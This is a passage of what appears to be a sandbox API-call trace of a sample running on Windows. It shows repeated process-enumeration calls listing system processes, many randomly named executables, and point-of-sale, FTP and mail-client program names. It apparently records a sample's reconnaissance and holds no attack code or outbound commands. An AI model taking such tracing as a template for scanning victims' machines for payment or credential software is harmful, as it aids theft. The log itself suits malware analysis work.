th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0131.968] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0131.970] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0131.972] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0131.986] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0131.990] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0132.029] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0132.031] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0132.034] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0132.036] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0132.039] CloseHandle (hObject=0x1fd8) returned 1 [0132.039] Sleep (dwMilliseconds=0x64) [0132.197] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2068 [0132.213] Process32First (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.216] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.218] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.220] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.223] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.225] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.228] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.230] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.232] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.234] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.236] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.242] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.244] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.247] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.249] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.252] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.254] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.256] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.258] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.261] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.263] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0132.265] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0132.297] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.299] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0132.301] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0132.303] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0132.305] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0132.308] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0132.310] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0132.312] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0132.314] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.316] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0132.423] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0132.426] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0132.428] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0132.430] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.443] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0132.446] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0132.448] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0132.450] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0132.451] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0132.453] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0132.454] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0132.456] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0132.458] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0132.460] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0132.462] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0132.463] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0132.465] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0132.466] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0132.468] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0132.470] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0132.472] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0132.473] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0132.475] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0132.477] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0132.479] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0132.480] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0132.483] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0132.485] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0132.488] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0132.491] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0132.494] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0132.496] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0132.498] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0132.501] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0132.504] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0132.506] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0132.509] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0132.512] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0132.515] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0132.517] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0132.520] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0132.522] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, 